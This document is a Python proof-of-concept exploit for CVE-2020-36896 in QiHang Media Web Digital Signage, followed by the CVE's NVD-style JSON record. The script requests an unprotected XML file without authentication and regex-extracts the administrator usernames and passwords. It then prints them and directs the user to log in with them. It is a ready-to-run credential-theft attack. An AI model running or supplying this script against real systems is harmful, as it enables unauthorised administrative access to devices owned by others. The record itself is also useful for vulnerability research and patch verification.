CVE-2020-36896

# CVE-2020-36896 PoC - QiHang Media Web Digital Signage Cleartext Credentials Disclosure # Discoverd by: VulnCheck ([email protected]) import requests import re import sys def exploit_cve_2020_36896(target_url): """ Exploit for CVE-2020-36896 QiHang Media Web Digital Signage - Cleartext Credentials Disclosure """ print(f"[*] Target: {target_url}") print(f"[*] Exploiting CVE-2020-36896...") # Path to the vulnerable XML file vulnerable_path = "/xml/User/User.xml" # Construct full URL url = target_url.rstrip('/') + vulnerable_path print(f"[*] Requesting: {url}") try: # Send HTTP GET request without authentication response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: print(f"[+] Received response (Status: {response.status_code})") print(f"[+] Response length: {len(response.text)} bytes") # Parse and display credentials content = response.text print("\n[+] Extracted credentials from XML:\n") # Extract username and password patterns from XML username_pattern = r'<UserName>([^<]+)</UserName>' password_pattern = r'<Password>([^<]+)</Password>' usernames = re.findall(username_pattern, content) passwords = re.findall(password_pattern, content) if usernames and passwords: for i, (user, pwd) in enumerate(zip(usernames, passwords), 1): print(f" Credential #{i}:") print(f" Username: {user}") print(f" Password: {pwd}") print(f"\n[!] Use these credentials to authenticate at:") print(f" {target_url.rstrip('/')}/login") else: print("[!] No credentials found in response") print("\n[+] Raw XML content:") print(content[:1000]) else: print(f"[-] Failed to retrieve XML file (Status: {response.status_code})") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://192.168.1.100:8080") sys.exit(1) target = sys.argv[1] exploit_cve_2020_36896(target)

{"cve": {"id": "CVE-2020-36896", "sourceIdentifier": "[email protected]", "published": "2025-12-10T21:16:02.050", "lastModified": "2025-12-17T19:21:26.560", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "QiHang Media Web Digital Signage 3.0.9 contains a cleartext credentials vulnerability that allows unauthenticated attackers to access administrative login information through an unprotected XML file. Attackers can retrieve hardcoded admin credentials by requesting the '/xml/User/User.xml' file, enabling direct authentication bypass."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-522"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:howfor:qihang_media_web_digital_signage:3.0.9:*:*:*:*:*:*:*", "matchCriteriaId": "7986DE52-67FF-4879-875B-18D56E480460"}]}]}], "references": [{"url": "http://www.howfor.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/48748", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/qihang-media-web-digital-signage-cleartext-credentials-disclosure", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5579.php", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5579.php", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}